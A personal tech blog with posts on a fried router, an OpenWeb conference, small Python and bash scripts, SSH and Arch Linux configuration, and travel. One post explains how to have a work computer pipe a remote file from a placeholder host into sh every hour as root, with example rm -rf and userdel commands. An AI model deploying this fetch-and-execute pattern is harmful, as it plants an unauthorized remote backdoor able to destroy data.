Searching for Tao

You may have noticed some sketchy uptime on this blog lately. For a few days there, my site would be online for a few hours, then drop offline for a few then return. It's done horrible things to my traffic as well as my personal productivity.

You see, my router, Serenity was falling apart. The little compact-flash card I was using was starting to flake out and I was seeing data corruption, segfaults and lots and lots of kernel panics. Not fun. This could be managed with the occasional reboot, but that's not a fix. No I had to buy a new cf card and rebuild serenity from the ground up.

This sounds more difficult than it is really. I just hopped down to London Drugs, bought a new card ($23 for 2gb! Looks like SD really did win that race) brought it home and opened up the box with my trusty screw driver, moved a few parts around and replaced the card. The only thing left was the install and configuratioin... except I got stupid.

The case fan was unplugged. I'd removed it months ago 'cause it was making noise and I wanted a quieter house. However, the CPU was *really* hot, so I thought it might be a good idea to test out if the noise was really tolerable or not. I took the little power wire and plugged it into a free set of pins and sure enough, the fan came on -- the server also rebooted.

I'd plugged one of the power cables right into the motherboard on some unlabeled pin. There was some scary-sounding beeping, and then the smell of burnt metal and plastic... even smoke. My curiosity, coupled with a stupid mistake (learn your cables Dan!) had had quite literally "toasted" my router.

So I'm now using my wireless router (originally just an access point) as my primary router and I'm already not liking it. I'd gotten used to handy things like IP blocking, and routing non-standard ports to standard ports to get around lame security on other networks -- all of it gone. However getting a replacement for serenity is looking to be around $400 so that's not going to happen anytime soon.

So let this be a lesson to you kids: be careful when playing with expensive hardware... one mistake and you really could fry your board :-(

I attended my first ever OpenWeb conference yesterday and as per company policy, I have to report on and share what I learnt, so what better way to do so then to make a blog post for all to read?

General

OpenWeb is awesome. It's a conference where people from all over the world come to talk about Open design and communication and hopefully, learn to build a better web in the process. Attendees include programmers, entrepreneurs, designers, activists and politicians all with shared goals and differing skillsets. I shook hands with Evan Prodromou, the founder of identi.ca and WikiTravel, heard talks from the guys who write Firefox and Thunderbird as well as the newly-elected representative for the Pirate Party in the European Parliament, Rickard Falkvinge. All kinds of awesome I tell you.

Rickard Falkvinge: Keynote - On the Pirate Party

Founder of the Pirate Party in Sweden and now a representative in the European Parliament (thanks to proportional representation), Falkvinge was a passionate and eloquent speaker who covered the history of copyright, the present fight for greater control of so-called intellectual property and more importantly the far-reaching and very misunderstood effects of some of the legislation being passed to "protect" copyright holders while eliminating privacy rights for the public.

The talk was very in depth and difficult to cover in a single post so I encourage you to ask me about it in person some time. For the impatient though, I'll try to summarise:

The copyright debate isn't about downloading music, that's just a byproduct of the evolution of technology. As the printing press gave the public greater access to information, so has the Internet managed to disperse that information further. The problem is now that the changing landscape has rendered certain business models ineffective, these business are fighting to change our laws to preserve said model rather than change with the times. Ranging from the frustratingly shortsighted attempts to ban technologies that further file sharing (legal or otherwise) to the instant wire tapping on every Internet connection (and by extension phone call) of every free citizen without a warrant, many of these changes are very, very scary.

"All of this has happened before, and it will happen again" he said. Every time a technological advancement creates serious change for citizen empowerment in society, the dominant forces in that society mobilise to crush it. The Catholic church, gatekeepers of the lion's share of human knowledge at the time actively worked to ban the printing press. They succeeded (if you can believe it) in France in 1535. This time, it's the media companies and they're willing to do anything, including associating file sharing with child pornography and terrorism to do it. Falkvinge's Pirate party is becoming the beachhead in the fight for copyright reform. Now the party with the largest youth delegation (30%!) in Sweden, they are working to get the crucial 4% of the seats in Parliament they need to hold the balance of power and they need your help. He'd like you to send the party 5€ or 10€ per month and I'm already on board.

Angie Byron: Keynote - Women in Open Source

Those of you who know me, know that I can get pretty hostile when it comes to treating women like a special class of people (be the light positive or negative) so I was somewhat skeptical about this one. Thankfully, I was happy to hear Byron cover a number of issues with the Free software community ranging from blatant sexism (CouchDB guys... seriously?) to basic barriers to entry for anyone new to a project. There were a lot of really helpful recommendations to people wanting to engage 100% of the community rather than just one half or the other.

Blake Mizerany: Sinatra

Sinatra is a Ruby framework that went in the opposite direction of things like my beloved Django or Ruby's Rails. Rather than hide the nuts and bolts of HTTP from the developer, Sinatra puts it right out there for you. Where traditional frameworks tend to muddle GET, POST, PUT, and DELETE into one input stream, this framework structures your whole program into blocks a lot like this:

  require 'rubygems'
  require 'sinatra'
  get '/hi' do
    "Hello World!"
  end

That little snipped up there handles the routing and display for a simple Hello World program. Sinatra's strength is that it's simple and elegant. It lets you get at the real power at the heart of HTTP which is really handy, but from what I could tell in the presentation, there's not a lot available outside of that. Database management is done separately, no ORM layer etc. etc. It's very good for what it does, but not at everything, which (at least in my book) makes it awesome.

Ben Galbraith and Dion Almaer: Mozilla Labs

These are the guys who make the Cool New Stuff that comes out of Mozilla. You know those guys, they write a nifty web browser called "Firefox", I'm sure you've heard of them.

Mozilla Labs is where the smart nerds get together to build and experiment with toys that will (hopefully) eventually make it into a finished product. Sometimes that product is an add-on or plug-in, other times it's an entirely new project. It's all about how useful something is to the public. And as always, the code is Free. You may have even heard of Ubiquity, an extension to Firefox that promises to reshape how we use a web browser... they're working on that.

This time through, they were demoing Bespin, a code editor in your web browser. Imagine opening a web browser, going to a page and doing your development there: no need for a local environment, but without the usual disadvantages of aggravating lag or difficult, text-only interface. Now imagine that you can share that development space with someone else in real time and that you can be doing this from your mobile device on a beach somewhere. Yeah, it's that awesome.

We watched as they demoed the crazy power that is the <canvas /> tag by creating a simple text editor, in Javascript right there in front of us... with about 15 lines of code. Really, really impressive.

David Ascher: Open Messaging on the Open Internet

Ascher's talk on Open Messaging was something I was really interested in since I've been actively searching for information on federated social networking for a while now. The presentation was divided into two parts: half covering the history of email and it's slow deprecation in favour of a number of different technologies as well as how people are using it in ways never intended for the architecture. Major problems with the protocol itself were touched on, as well as an explanation about how some of the alternatives out there are also flawed.

He then went on to talk about Mozilla Thunderbird 3 and the variety of cool stuff that's happening with it. "Your mail client knows a lot about you" he says "but until now, we haven't really done a lot with it". Some of the new features for Thunderbird 3 include conversation tracking (like you see in Gmail), helping you keep track of what kinds of email you spend the most time on, who you communicate with most etc. and even statistical charts about what time of day you use mail, what kind of mail you send and to whom how often. It's very neat stuff. Add to this the fact that they've completely rewritten the plug-in support, so new extensions to Thunderbird mean that your mail client will be as useful as you want it to be.

Evan Prodromou: Open Source Microblogging with Laconica

Up until this talk (and with the exception of Falkvinge's keynote), I'd been interested, but not excited about OpenWeb. Prodromou's coverage of Laconica changed all of that.

Founder of WikiTravel and one of the developers on WikiMedia (the software behind Wikipedia), Prodromou has built a federated microblogging platform called Laconica. Think Twitter, but with the ability for an individual to retain ownership of his/her posts and even handle distribution -- with little or no need for technical knowledge required. Here, I made you a diagram to explain:

Here's how it is: whereas Twitter is a single central source of information, controlled by a single entity (in this case, a corporation), Laconica distributes the load to any number of separate servers owned by different people that all know how to communicate. Where you might be on a server in Toronto, hosted by NetFirms, I could be using a Laconica service hosted by Dreamhost in Honolulu. My posts go to my server, yours go to yours, and when my Twitter client wants to fetch your posts, it talks to NetFirms and vice versa.

The advantages are clear:

1. Infinite scalability: Twitter's monolithic model necessitates the need for crazy amounts of funding and they still don't have a profit model to account for those costs. Laconica on the other hand means that the load is distributed across potentially millions of hosts (much like the rest of the web).
2. You control your identity, not a private corporation.

The future is where it gets really exciting though. By retaining ownership of your identity and data, you can start to attach a variety of other data types to the protocol. For the moment, Laconica only supports twitter-like messages, but they're already expanding into file-sharing as well. You'll be able to attach images, video and music files, upload them to your server and share them with whomever is following you. After that, I expect that they'll expand further to include Flickr-like photo streams, Facebook-like friendships and LiveJournal-like blog posts. These old, expensive monolithic systems are going away. In the future we'll have one identity, in one place, that we control that manages all of the data we want to share with others.

Really, really cool stuff.

I went home that night and signed up as a developer on Laconica. I've downloaded the source and will experiment with it this week before I take on anything on the "to do " list. I intend on focusing on expanding the feature set to include stuff that will deprecate the monolithic models mentioned above... should be fun :-)

Drupal Oops

I closed out the evening with some socialising in the hallway and some ranting about how-very-awesome Laconica was to my coworker Ronn, who showed up late in the day. He wandered off in search of my other colleagues and I followed after finishing a recap with Karen Quinn Fung a fellow transit fan and Free software fan. Unfortunately though, I wasn't really paying attention to where Ronn was going, I just followed out of curiosity. It turns that out I had stumbled into a Drupal social where I was almost immediately asked: "so, how do you use Drupal and how much do you love it?" by the social organiser. James gave me a horrified "what the hell are you doing here" look and searching for words, I said something to the effect of "Um, well, I was pretty much just dropping in here looking for my co-workers... oh here they are! -- I like Drupal because it makes it easy for people to make websites, but I don't really use it because it gets in my way. I prefer simple, elegant solutions and working around something just to get it to work is too aggravating." Considering the company, my response was pretty well received. I backed out quietly at the earliest opportunity :-)

So that was OpenWeb, well half of it anyway. I only got a pass for the Thursday. I can't recommend it enough though. Really interesting talks and really interesting people all over the place. I'll have to make sure that I go again next year.

In the midst of one of those "because I can" moods today, I wrote a fun Python script to get my battery status and colour-code it so it could be loaded into my prompt. I'm posting it here 'cause I think it's nifty:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import re

battery = "/proc/acpi/battery/BAT0"

def getMax(path):
    return getValueFromFile(path + "/info", "last full capacity")


def getRemaining(path):
    return getValueFromFile(path + "/state", "remaining capacity")


def getValueFromFile(name, value):
    f = open(name, "r")
    for line in f:
        remaining = re.match(r"^%s:\s+(\d+)" % (value), line)
        if remaining:
            return remaining.group(1)


def isCharging(path):
    f = open(path + "/state", "r")
    for line in f:
        key = re.match(r"^charging state:\s+charging", line)
        if key:
            return True


def render(path):

    level = int((float(getRemaining(path)) / float(getMax(path))) * 100)

    colour = ""
    if isCharging(path):
        colour = "\033[1;36m" # Cyan
    elif level < 25:
        colour = "\033[1;31m" # Red
    elif level < 50:
        colour = "\033[1;33m" # Yellow
    else:
        colour = "\033[1;32m" # Green

    print colour + str(level) + "%\033[0m",

render(battery)

It happens, especially in recessions and when it does, there's often little or no warning. You come into work on a Friday, work through the day, and at the end of the day, as you're heading out of the office, the boss comes to you and says something to the effect of: "Sorry, but you're done here."

Not long after you manage to get over your panic attack, your boss drops another bomb: you're not allowed to access your computer again. All of your personal email and/or files that you have on there are going to be backed up into hard drive somewhere and gods know what the sysadmin is going to do with it.

Now one might argue that if you're putting personal stuff on a company computer, the company owns that stuff, and legally speaking, you might be right, but morally, it's your stuff that you access at work because work takes up the vast majority of your day. It only seems fair that if they're going to give you the boot with zero notice that you have a chance to keep your emails and IM conversations with friends and family private.

So, in case you've ever wondered what might be a good way to keep your data more-or-less safe in such situations, I thought that I would post a little how-to here.

Option One

Don't put personal information on your company computer. It will save you all kinds of hassles, even if it does make life at work considerably less bearable.

Option Two

If you're going to put personal information on your company computer anyway, the best way to secure it is to have your computer continuously check a remote source (under your control) for instructions. You can then leave the instructions blank until Something Bad happens. For example, on a Linux machine:

1. Create a tiny script file (call it "remoterun" for the sake of this example) and put this in it:

         #!/usr/bin/env sh
         curl -s http://somesite.com/instructions.txt | sh

   Now make it executable.
2. Log into the server hosting somesite.com and place a file called instructions.txt in the document root. It can contain anything you want to execute on your machine. I recommend the deletion on your home directory (so long as there's no company data in there) and the removal of your personal account from the box. If you choose though, you can be a little more zealous and delete your music files, any background wallpapers you if you want. Just don't delete anything belonging to the company or they will be well within their rights to come and kick your ass in all kinds of unpleasant ways. Here's an example of a simple instructions file:

         # Delete my music
         rm -rf /opt/share/music
   
         # Delete my account
         userdel --force --remove daniel
   
         # Delete the remoterun script
         rm -f /path/to/remoterun

   This part is very important: Do not put anything in this file that you do not wish to run immediately. The above would nuke your personal data, so only put destructive instructions in the file when you actually want to delete stuff. Until then, you can just leave it blank.
3. Now that you have an instructions file, you just need to make sure that your office computer runs the remoterun script every hour or so. That way, the machine will run your instructions within an hour of you setting them up on somesite.com. In Linux, you can do this with cron:

   # crontab -e

   That will allow you to edit the crontab for the current user (be root, it's best for this kind of thing). Now you just add the crontab line:

   00 * * * * /path/to/remoterun

That's all there is to it. Every hour, your office machine will connect to somesite.com and execute whatever instructions.txt says. Windows users, I'm afraid you're on your own but the theory is the same.

Now remember kids, use your powers for Good, not Evil. I've provided the above so you can be a responsible person while protecting your private life from someone who shouldn't have access to it anyway. I hope that you will do the same.

It's true. I'm still alive, though I couldn't blame you if you'd considered otherwise. I've been neglecting this blog of late. Actually, I've been neglecting most of my life lately but soon, very soon, I shall have a break and I wanted to get this Long List of Stuff out of the way before that happens so here goes:

Carmen

A little over a month ago, I attempted to expand my cultural horizons by taking in My First Opera at the Queen Elizabeth Theatre. I accompanied Margaret, Dianna, and Aisha to the show and like good opera-goers we dressed up pretty for the night, then quietly mocked the yahoos who felt that jeans and a tshirt was appropriate.

For my part, I can't say that I really enjoyed the opera. (Sorry Diana). I didn't hate it either though. Frankly, it didn't do much for me at all. I found much of the music frustratingly simple when compared to a symphony or even broadway show, and the characters completely unbelievable. The emotion they conveyed (quite brilliantly I admit) didn't make any sense when the story seemed so trivial. I guess Opera just isn't for me.

I still have trouble getting over the fact that they would hold something like an opera in a venue that doesn't really lend itself to acoustic projection. The QE Theatre, while quite functional as a normal theatre, doesn't hold a candle to the acoustics you find in The Orpheum, yet they hold rock concerts in the latter and opera in the former. This makes no sense to me.

Choir

Not too long after my night at the opera, I went to my first choir practise in years. Simple Gifts, a local amateur choir run by Ieva Wool and for the most part, I liked them. The people I sang with had talent, the director was patient and helpful and overall everyone in the room seemed to really enjoy the whole experience. The only negatives were the average age of the singers (~50ish) and the fact that the practise was held on Tuesday nights... I had no idea how tiring a regular weekday practise from 7:30 - 9:30 would be, but it was.

I had the opportunity to try out the choir for two practises before I decided whether or not I was "in" or not, and the decision of whether or not to keep going came down to a simple gut feeling: I was just too tired. That is, the idea of going to choir on Tuesday felt more like a responsibility ("you're going to like, this so you have to go") as opposed to a joy ("yay! choir!"). I chalked it up to the general energy level of the choir (dear gods I miss Mr. Rhan sometimes) and my own energy reserves at the end of my work day. I just couldn't give anymore, so I declined to join.

If my situations changes for the next "term", I'll drop in again and give it another go, but for now, I just didn't feel like I was getting what I needed out of it.

The Super Secret Project

My father is an Idea man. Much like myself, he has new ideas all the time, though the difference between us is that his ideas are usually profit-driven while mine remain the betterment of mankind-types. His latest idea however has been snowballing into a full-blown project and will likely launch this year. Through the life cycle of his this beast, he's been coming back to me asking questions about how he could do "x" and I would work out with him roughly how everything would work... well it's time, now he wants me to build it.

I've done some research and it looks like I'll be installing Gentoo Linux on one of these running a really cool Python script I wrote that captures mouse clicks and logs stuff to the database and then pushes said data over the Internet to a master server via one of these things. It's gonna be fun.

Korea and Japan

And now for the big one: I'm going to Korea on Saturday and then to Japan on the 14th, then home by the 22nd. It's gonna be frickin' cool. My friend Susan, who's currently teaching English in Daegu, Korea was looking for company for a Japan trip and I jumped at the chance (finances be damned!). The way I see it, Japan is too foreign a country for me to be comfortable exploring on my own, and frankly, few of my friends have the money or the interest in making the trip. This opportunity was too rare to pass up... and so I go!

It looks like th total cost of flights, trains and accommodation will be in the neighbourhood of $3000CAD which may sound crazy high but you have to remember that it is the other side of the world -- the two trans-Pacific flights alone make up 50% of that sum.

It'll be fun to hang with Susan though -- we never spent enough time together when we were both in Toronto, so this will give us time to catch up :-) She has her heart set on a traditional costuming thing that they do regularly in a park in Tokyo, and I'm really stoked about both riding the subway in there and visiting the Nintendo headquarters in Kyoto... no, I don't know if they have tours, but I don't care. I just want my picture in front of the Nintendo sign :-)

I'm currently taking orders for stuff people want me to bring back, so if you want on the list, just drop me a comment. Also, if you think that there's something I should see out that way, let me know and I'll try to add it to our itinerary. The cities I'll be in are: Seoul, Daegu (maybe), Tokyo, Kyoto, Okinawa City, and Naha.

Alright, I figure that makes up for my rather long absence. I'll try to be more studious when I'm blogging on the other side of the planet :-)

One of the reasons I switched to Arch Linux was that I didn't want to have to compile all of my packages anymore. However, in leaving Gentoo for the Arch world, I also gave up a certain amount of ease of customisability (is that even a word?). Gentoo does, after all, excel in letting you do whatever you want to your machine and there are some circumstances where that's pretty important... even for users like myself.

Such a situation presented itself when I realised that the KDE binaries shipped with Arch do not include debugging support. This is obviously in place to improve performance, but for a bleeding-edge product like KDE, this also makes it very difficult to offer a good bug report. Thankfully, Arch's build system (abs) allows you to compile any program you want and install it with the package manager with little trouble... so I did just that.

Below is a quick script I wrote to rebuild all of my KDE binaries with debugging enabled. It's commented so you know what's going on:

  #!/usr/bin/env bash

  # Create a workspace if it isn't already there
  mkdir -p $HOME/abs

  # Fetch a list of kde packages from pacman
  PACKAGES=$(pacman -Qs kde | grep -v '^ ' | sed -e 's/ .*//' | sed -e 's/local\///' | grep '^kde')

  # Loop through the package list
  for PACKAGE in $PACKAGES; do

    echo $PACKAGE

    # Copy the package to your workspace
    cp -r /var/abs/extra/$PACKAGE $HOME/abs/
    cd $HOME/abs/$PACKAGE

    # Edit the PKGBUILD file to use debugging
    sed -i -e 's/DCMAKE_BUILD_TYPE=Release/DCMAKE_BUILD_TYPE=RelWithDebInfo/' PKGBUILD;
    echo "PATCHED"

    # Make the package
    makepkg -s

  done

Once you've built all of those (it'll take a long time... KDE is huge), you can install each one with pacman:

  # pacman -U PACKAGENAME-VERSION-i686.pkg.tar.gz

It's also a good idea to recompile qt as well. For that, you just add -debug to the configure list in its PKGBUILD file.

For more information, please visit the Arch Linux wiki page on ABS.

For the longest time, I've been fighting with this problem:

$ ssh someserver.ca
Received disconnect from 123.123.123.123: 2: Too many authentication failures for username

It never asked for my password, it just flat-out failed. After some digging, I realised that the force behind this was my use of ssh-agent, a daemon that holds onto the myriad of keys (and their respective passwords) that I use to access all of my servers. It turns out that by default ssh-agent attempts to use every key you've got to access a server. However, because the destination server usually rejects login attempts > 6, the whole thing blows up before it ever gets to the "enter your password" step.

The solution is this handy one-liner in your ssh client config (~/.ssh/config or /etc/ssh/ssh_config):

  Host *
    IdentitiesOnly yes

Contrary to what you might think this means, IdentitiesOnly doesn't force the use of identities, rather it tells the client to only use identities explicitly defined for this host. This way my client uses identities assigned to a host via the config, and if one isn't set, it isn't used.

Why this isn't the default is beyond me.

I think that it's been more than 12 hours. More like 14... it's all a blur really.

I started today with a lofty goal: do a complete system wipe of Moulinrouge, my file/web/mail server that hosts pretty much all of my life... including this site. I decided to take the last step in my abandonment of Gentoo Linux in favour of my new love, Arch Linux, the process of which only added to the difficulty. I also moved my DNS and DHCP servers to Serenity my firewall machine as I'd gotten tired of the various exceptions I had to make to host those services with Moulinrouge.

Strictly speaking though, the whole thing went rather well. I had rsync'd my entire filesystem over to the 1TB USB2 drive, and the Arch install ran with no problems at all. The biggest hiccup came when I realised that Exim isn't packaged with MySQL support in Arch, so I had to do a manual compile for that one using ABS. A pretty cool experience I might add, though frustrating when you condiser how common such a setup may be. For those interested, I followed a helpful forum post on what needed to be changed and created a simple patch file for PKGBUILD so I can use it again later:

# pacman -S abs
# abs
$ mkdir -p $HOME/abs
$ cp -r /var/abs/extra/exim $HOME/abs/
$ patch $HOME/abs/exim/PKGBUILD PKGBUILD.patch
$ cd $HOME/abs/exim
$ makepkg
$ pacman -S exim-4.68-5-i686.pkg.tar.gz

The other fun bit I discovered was SSH's ability to not only run its own version of secure-ftp (sftp), but also run it in a chroot environment with ChrootDirectory. This required a lot of experimentation so I thought that I'd post a few notes here:

• In a chroot environment, logging is not possible until OpenSSH 5.2. Don't try, it'll only cause you pain.
• You cannot chroot a user into her or his home directory as the "new root" must be owned by the root user. Instead, what i found worked well was setting up a series of user directories owned by root under /srv/http/untrusted/username which then had the user's websites inside.

Here's my sshd_config snippet:

Subsystem  sftp  internal-sftp

Match Group untrusted
  X11Forwarding no
  AllowTcpForwarding no
  # Won't work 'till 5.2
  #ForceCommand internal-sftp -l VERBOSE
  ForceCommand internal-sftp
  ChrootDirectory /srv/http/untrusted/%u

Lastly, PHP in Arch is very different from my experiences in Gentoo, Unbuntu, Debian, Suse and Redhat. Even FreeBSD was more intuitive. For starters, Arch uses some less-than-common defaults in php.ini:

• error_reporting = E_ALL
• magic_quotes_gpc = Off
• short_open_tag = Off

Then, when you try to start up Apache, you find that it's not loading PHP. To make that happen, you have to add the following to httpd.conf and reload your webserver:

LoadModule php5_module modules/libphp5.so
Include conf/extra/php5_module.conf

After all that though, you'll notice that MySQL and a suite of other extensions you're used to seeing as part of PHP aren't there. If you stopped by this site earlier for example, you would have seen the glaring errors complaining that mysql_connect() didn't exist. To make all of that work, you have to go back into php.ini, scroll down to the bottom and un-comment the various extension lines... among them:

extension=mysqli.so

There were other fun problems, but this post is already quite long and it's almost 5am now. Must get some sleep so I can finish it all up tomorrow!

In a recent rash of system re-installs, I've learnt the hard way what not to do. I'm keeping this list here for my own future reference in the hopes that I might save myself future headaches.

Before doing any wipe and re-install, the following should always be done:

• Export bookmarks
• Export kwallet
• Export contacts
• Commit all subversion sandboxes
• Backup /home/*
• Backup /usr/local
• Backup /etc
• Backup subversion repositories
• Dump databases

On a personal note, I apologise for my lack of blogging lately. I have a lot about which I want to post and I've been having trouble finding the time. I shall endevour to do better.

Over the past few days, I've been trying to switch from KDE to Gnome. It's faster, Free-er and in many ways, prettier than KDE, so I thought that I'd give it a shot... but it's not going to happen and here's why:

1. Nautilus doesn't support bookmark folders. It's pretty impressive really, but when your filesystem browser is expected to be able to connect to local drives, network drives and remote drives over SFTP, assuming that a user is only going to have 6 or 7 bookmarks is unreasonable.
2. Terminal is lame. It may be more responsive than Konsole, but you can't move between tabs with the keys and wrap from the last to the first, and you can't paste from the highlight-copy clipboard with the keyboard while Konsole will let you use Ctrl+Shift+Ins for the highlight copy, and Shift+Ins for standard copy.
3. No suitable replacement for Kwallet. Gnome stores some of your passwords with its keyring manager, Firefox stores its own (unencrypted) and Thunderbird stores its own (encrypted). In KDE, I login, give my master password and my encrypted password db is available to all programs for which I need it.
4. No suitable replacement for Klipper. I got Glipper installed, but it's nowhere to be found.
5. No decent text editors / IDEs. I tried Gvim, GPHPEdit, and Bluefish and they all suck in comparison to Kate, KDE's simple text editor and we're not even trying to compare KDevelop here. The big killer for me: no predictive text handling.
6. Firefox may be more functional than Konqueror, it's still way ugly by comparison.

Frankly, I've found Gnome to be sorely lacking in what I would consider key areas. People want their passwords and things memorised and they want them accessible in one easy step. I have well over 100 filesystem bookmarks and I'm a programmer -- I need a good text editor. If I wanted a prettier Vim, I wouldn't be using a GUI.

Maybe I'll try again next year but until then, KDE, though it may be slow and bloated, at least does what I think a GUI should.